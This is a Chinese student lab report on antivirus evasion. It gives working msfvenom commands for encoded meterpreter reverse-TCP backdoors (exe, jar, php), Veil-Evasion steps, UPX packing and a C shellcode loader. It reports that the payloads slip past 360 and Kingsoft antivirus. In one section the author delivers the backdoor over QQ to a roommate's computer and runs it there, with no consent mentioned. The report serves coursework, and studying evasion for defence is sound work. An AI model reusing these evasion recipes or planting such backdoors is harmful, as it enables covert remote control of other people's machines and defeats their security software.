2018-2019-2 20165204《网络对抗技术》 Exp3 免杀原理与实践

2018-2019-2 20165204《网络对抗技术》 Exp3 免杀原理与实践

一、实验内容

正确使用msf编码器,进行多次编码

首先,我将实验二中使用的后门程序拿去VirusTotal和VirusScan检测一下。结果如下。

(国外的网站还是厉害)

然后使用指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.255.131 LPORT=5204 -f exe > 20165204backdoor.exe进行十次编码,再放进去看看。

结果是报毒比第一次还多了一个,可见并没有什么实际性的作用。

使用msfvenom生成jar文件

使用指令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.255.131 LPORT=5204 x> backdoor_java.jar

再放进去看一下
结果很不错

msfvenom生成php文件

使用指令msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.255.131 lport=5204 x> backdoor.php

结果非常好

使用veil-evasion

  • 展开对象的问题是解决了,但是之后的安装一堆Error,还提示我安装Python,安装Python的过程中还崩了,导致出现` 如图问题。

  • 这里可以解释一下展开对象处卡住的问题,主要就是宿舍网太差了,如果换成手机热点的话可以在流量监控处观察到VM在疯狂吃流量,然后就能继续进行了。

(以下实验使用别处COPY来的虚拟机进行)

  • 输入use evasion命令进入Evil-Evasion

  • 输入use c/meterpreter/rev_tcp.py

  • 设置主机IP,监听端口。再输入options可查看到已经设置好的端口与IP

  • 输入generate可在固定路径生成相应文件。

然后我们拿着这个去查杀,发现对然仍然说危险,但是效果好了很多。

重点是,这个直接生成的后门文件并没有被我电脑的360检测出来。
如图所示,回连成功。

加壳

利用特殊的算法,对可执行文件里的资源进行压缩,只不过这个压缩之后的文件,可以独立运行,解压过程完全隐蔽,都在内存中完成。这是加壳的概念。

  • 使用压缩壳

    原理很简单,在实验二中就有同学没有用使用共享文件夹也没有用端口传送,而是使用邮箱将后门程序移植到win系统主机上。然而在上传至邮箱的时候会被提醒是恶意程序,此时只需要将.exe文件压缩一下就不会被报警了。

    使用upx backdoor.exe -o woshihaoren.exe将其压缩。

    直接就被发现了

半手工注入Shellcode并执行

veil生成的文件中有一个C语言文件,我们将其copy至Codeblock,加上特定的代码进行编译。

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] =
"xdaxd7xb8xadx31xe5x09xd9x74x24xf4x5ax29xc9xb1"
.......
"x28x68x26x18xa2x65xa2xdex8fx2fx24";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

然后我就又成功了。360傻呵呵地看着我被当面种马。

我现在巨担心我电脑的安全问题。

通过组合应用各种技术实现恶意代码免杀

如上,只是单纯的veil生成后门以及半手工注入shellcode就已经成功了。

(真是不知道该高兴还是该难受)

黑舍友电脑

(最激动人心的时候来了)

  • 将文件qq发给对方,TIM没有警告危险。
  • 下载至电脑,毒霸没有报告危险。
  • 运行没有黑框。
  • 杀毒软件名称金山毒霸,版本如下

screenshot!

二、实验问题

1. 基础问题

  • 杀软是如何检测出恶意代码的?

分为以特征代码的检测和基于行为的检测。很像在信息安全技术概论里讲的入侵检测系统。一个是以特征的代码为检测手段,还有就是根据恶意代码的行为,比如篡改系统文件、自启动、占用带宽等来进行判断。

  • 免杀是做什么?
    通过一些特殊的手段来让杀毒软件的这两种鉴别方式检测不到恶意代码。

  • 免杀的基本方法有哪些?

从本次实验中可以看出,有以下这些方法。

  1. 对源代码使用其他语言进行编写,使特征代码检测无效
  2. 加壳,使其不易被辨认。
  3. 对于shellcode,用基于payload重新编译生成可执行文件或用encode进行编码
  4. 通讯方式使用反弹端口链接。
  5. 尽量在内存中活动。
  6. 不修改系统文件以免引起怀疑。

2.实验总结与体会

本次实验可以说是一波三折,在同学们的众多经验的帮助下还是做了很久,不得不说我的360真的是个弟弟,啥都查不出来,做成功实验的同时也是一阵后怕。看来免杀真的没有想象的那么难,防不胜防啊。

原文地址:https://www.cnblogs.com/jph596299009/p/10632189.html